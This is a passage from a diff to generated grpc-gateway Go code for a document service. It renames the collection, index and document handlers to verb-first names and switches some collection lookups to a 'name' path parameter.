DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CreateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -45,13 +45,13 @@ func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CreateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest +func local_request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CreateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -62,119 +62,85 @@ func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionCreate(ctx, &protoReq) + msg, err := server.CreateCollection(ctx, &protoReq) return msg, metadata, err } -var ( - filter_DocumentService_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest +func request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err + var ( + val string + ok bool + err error + _ = err + ) -} + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } -func local_request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest - var metadata runtime.ServerMetadata + protoReq.Name, err = runtime.String(val) - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } - msg, err := server.CollectionGet(ctx, &protoReq) + msg, err := client.GetCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest +func local_request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } + var ( + val string + ok bool + err error + _ = err + ) - msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } -} + protoReq.Name, err = runtime.String(val) -func local_request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } - msg, err := server.CollectionList(ctx, &protoReq) + msg, err := server.GetCollection(ctx, &protoReq) return msg, metadata, err } -var ( - filter_DocumentService_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest +func request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionsRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.GetCollections(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest +func local_request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq GetCollectionsRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.CollectionDelete(ctx, &protoReq) + msg, err := server.GetCollections(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionUpdateRequest +func request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq UpdateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -185,13 +151,13 @@ func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.UpdateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionUpdateRequest +func local_request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq UpdateCollectionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -202,47 +168,67 @@ func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionUpdate(ctx, &protoReq) + msg, err := server.UpdateCollection(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_IndexCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq IndexCreateRequest +func request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteCollectionRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } - msg, err := client.IndexCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DeleteCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_IndexCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq IndexCreateRequest +func local_request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteCollectionRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) } - msg, err := server.IndexCreate(ctx, &protoReq) + msg, err := server.DeleteCollection(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_IndexDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq IndexDeleteRequest +func request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CreateIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -253,13 +239,13 @@ func request_DocumentService_IndexDelete_0(ctx context.Context, marshaler runtim return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.IndexDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CreateIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_IndexDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq IndexDeleteRequest +func local_request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CreateIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -270,13 +256,13 @@ func local_request_DocumentService_IndexDelete_0(ctx context.Context, marshaler return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.IndexDelete(ctx, &protoReq) + msg, err := server.CreateIndex(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest +func request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -287,13 +273,13 @@ func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DeleteIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest +func local_request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -304,13 +290,13 @@ func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentInsert(ctx, &protoReq) + msg, err := server.DeleteIndex(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertManyRequest +func request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq InsertDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -321,13 +307,13 @@ func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentInsertMany(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.InsertDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertManyRequest +func local_request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq InsertDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -338,13 +324,13 @@ func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, mar return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentInsertMany(ctx, &protoReq) + msg, err := server.InsertDocuments(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentUpdateRequest +func request_DocumentService_UpdateDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq UpdateDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -355,13 +341,13 @@ func request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.UpdateDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentUpdateRequest +func local_request_DocumentService_UpdateDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq UpdateDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -372,13 +358,13 @@ func local_request_DocumentService_DocumentUpdate_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentUpdate(ctx, &protoReq) + msg, err := server.UpdateDocument(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest +func request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -389,13 +375,13 @@ func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DeleteDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest +func local_request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DeleteDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -406,13 +392,13 @@ func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentSearch(ctx, &protoReq) + msg, err := server.DeleteDocuments(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentAuditRequest +func request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -423,13 +409,13 @@ func request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentAudit(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentAuditRequest +func local_request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -440,13 +426,13 @@ func local_request_DocumentService_DocumentAudit_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentAudit(ctx, &protoReq) + msg, err := server.SearchDocuments(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentProofRequest +func request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq AuditDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -457,13 +443,13 @@ func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentProof(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.AuditDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentProofRequest +func local_request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq AuditDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -474,13 +460,13 @@ func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentProof(ctx, &protoReq) + msg, err := server.AuditDocument(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentDeleteRequest +func request_DocumentService_ProveDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ProveDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -491,13 +477,13 @@ func request_DocumentService_DocumentDelete_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.ProveDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentDeleteRequest +func local_request_DocumentService_ProveDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ProveDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -508,7 +494,7 @@ func local_request_DocumentService_DocumentDelete_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentDelete(ctx, &protoReq) + msg, err := server.ProveDocument(ctx, &protoReq) return msg, metadata, err } @@ -519,30 +505,7 @@ func local_request_DocumentService_DocumentDelete_0(ctx context.Context, marshal // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead. func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error { - mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -553,7 +516,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -561,11 +524,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -576,7 +539,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -584,11 +547,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollections_0, 